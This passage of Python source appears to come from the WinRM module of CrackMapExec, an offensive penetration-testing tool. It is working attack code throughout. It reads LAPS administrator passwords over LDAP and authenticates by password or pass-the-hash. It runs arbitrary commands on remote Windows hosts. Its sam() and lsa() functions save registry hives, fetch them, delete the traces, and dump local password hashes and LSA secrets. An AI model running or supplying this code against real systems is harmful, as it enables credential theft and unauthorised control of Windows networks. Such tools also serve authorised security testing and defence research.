password, ntlm_hash, domain): ldapco = LDAPConnect(self.domain, "389", self.domain) connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '') if connection == False: logging.debug( 'LAPS connection failed with account {}'.format(username)) return False searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.hostname + '))' attributes = ['ms-MCS-AdmPwd', 'samAccountname'] result = connection.search(searchFilter=searchFilter, attributes=attributes, sizeLimit=0) msMCSAdmPwd = '' sAMAccountName = '' for item in result: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue for computer in item['attributes']: if str(computer['type']) == "sAMAccountName": sAMAccountName = str(computer['vals'][0]) else: msMCSAdmPwd = str(computer['vals'][0]) logging.debug("Computer: {:<20} Password: {} {}".format( sAMAccountName, msMCSAdmPwd, self.hostname)) self.username = self.args.laps self.password = msMCSAdmPwd if msMCSAdmPwd == '': logging.debug( 'msMCSAdmPwd is empty, account cannot read LAPS property for {}' .format(self.hostname)) return False if ntlm_hash: hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest() self.hash = binascii.hexlify(hash_ntlm).decode() self.domain = self.hostname return True def print_host_info(self): if self.args.domain: self.logger.extra['protocol'] = "HTTP" self.logger.info(self.endpoint) else: self.logger.extra['protocol'] = "SMB" self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname, self.domain)) self.logger.extra['protocol'] = "HTTP" self.logger.info(self.endpoint) self.logger.extra['protocol'] = "WINRM" if self.args.laps: return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True def create_conn_obj(self): endpoints = [ 'https://{}:{}/wsman'.format( self.host, self.args.port if self.args.port else 5986), 'http://{}:{}/wsman'.format( self.host, self.args.port if self.args.port else 5985) ] for url in endpoints: try: requests.get(url, verify=False, timeout=3) self.endpoint = url if self.endpoint.startswith('https://'): self.port = self.args.port if self.args.port else 5986 else: self.port = self.args.port if self.args.port else 5985 self.logger.extra['port'] = self.port return True except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) return False def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) if not self.args.laps: self.password = password self.username = username self.domain = domain if self.args.ssl and self.args.ignore_ssl_cert: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( domain, self.username), password=self.password, ssl=True, cert_validation=False) elif self.args.ssl: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( domain, self.username), password=self.password, ssl=True) else: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( domain, self.username), password=self.password, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else ''))) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)) else: self.logger.error(u'{}\\{}:{} "{}"'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, e)) return False def hash_login(self, domain, username, ntlm_hash): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) lmhash = '00000000000000000000000000000000:' nthash = '' if not self.args.laps: self.username = username #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash ntlm_hash = lmhash + nthash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash else: nthash = self.hash self.domain = domain if self.args.ssl and self.args.ignore_ssl_cert: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( self.domain, self.username), password=lmhash + nthash, ssl=True, cert_validation=False) elif self.args.ssl: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( self.domain, self.username), password=lmhash + nthash, ssl=True) else: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( self.domain, self.username), password=lmhash + nthash, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else ''))) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)) else: self.logger.error(u'{}\\{}:{} "{}"'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, e)) return False def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) except: self.logger.debug( 'Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !' ) r = self.conn.execute_ps(self.args.execute) self.logger.success('Executed command') self.logger.highlight(r[0]) def ps_execute(self, payload=None, get_output=False): r = self.conn.execute_ps(self.args.ps_execute) self.logger.success('Executed command') self.logger.highlight(r[0]) def sam(self): self.conn.execute_cmd( "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" ) self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") self.conn.execute_cmd( "del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM") localOperations = LocalOperations(self.output_filename + ".system") bootKey = localOperations.getBootKey() SAM = SAMHashes( self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret)) SAM.dump() SAM.export(self.output_filename + ".sam") def lsa(self): self.conn.execute_cmd( "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" ) self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") self.conn.execute_cmd( "del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY") localOperations = LocalOperations(self.output_filename + ".system") bootKey = localOperations.getBootKey() LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self. logger.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets()